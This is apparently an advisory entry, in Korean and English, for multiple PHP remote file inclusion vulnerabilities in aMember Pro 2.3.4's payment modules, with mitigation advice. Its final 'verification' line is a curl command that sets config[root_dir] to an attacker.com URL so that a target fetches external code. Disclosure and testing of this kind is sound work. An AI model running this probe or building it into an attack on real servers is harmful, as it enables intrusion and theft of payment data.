🇰🇷 한글 설명
aMember Pro 2.3.4의 다중 원격 파일 포함(RFI) 취약점으로, config[root_dir] 파라미터를 통해 공격자가 악의적인 PHP 파일을 포함시켜 임의의 PHP 코드를 실행할 수 있습니다. 결제 게이트웨이 관련 19개의 모듈 파일이 영향받습니다.
💡 쉬운 설명
aMember Pro의 설정 파라미터를 조작하여 외부 악성 파일을 서버에서 실행할 수 있는 결함입니다. 공격자는 이를 이용해 웹서버를 장악하거나 데이터베이스의 민감한 정보를 탈취할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in aMember Pro 2.3.4 allow remote attackers to execute arbitrary PHP code via the config[root_dir] parameter to (1) mysql.inc.php, (2) efsnet.inc.php, (3) theinternetcommerce.inc.php, (4) cdg.inc.php, (5) compuworld.inc.php, (6) directone.inc.php, (7) authorize_aim.inc.php, (8) beanstream.inc.php, (9) config.inc.php, (10) eprocessingnetwork.inc.php, (11) eway.inc.php, (12) linkpoint.inc.php, (13) logiccommerce.inc.php, (14) netbilling.inc.php, (15) payflow_pro.inc.php, (16) paymentsgateway.inc.php, (17) payos.inc.php, (18) payready.inc.php, or (19) plugnplay.inc.php.
📍 영향받는 시스템
aMember Pro 2.3.4 (mysql.inc.php, efsnet.inc.php, authorize_aim.inc.php, config.inc.php 등 19개 결제 모듈)
⚔️ 공격 벡터
config[root_dir] 파라미터에 원격 파일 URL을 전달하여 PHP 코드 실행 (RFI 공격)
🛡️ 대응 방법
aMember Pro를 2.3.5 이상으로 즉시 업그레이드하거나 input validation 규칙 적용
🔧 검증 코드
취약한 서버는 원격 파일 포함을 허용하여 외부 PHP 코드 실행 가능, 정상 서버는 요청 거부
curl -s 'http://target/path/config.inc.php?config[root_dir]=http://attacker.com/' | grep -q 'php' && echo 'VULNERABLE' || echo 'Not vulnerable'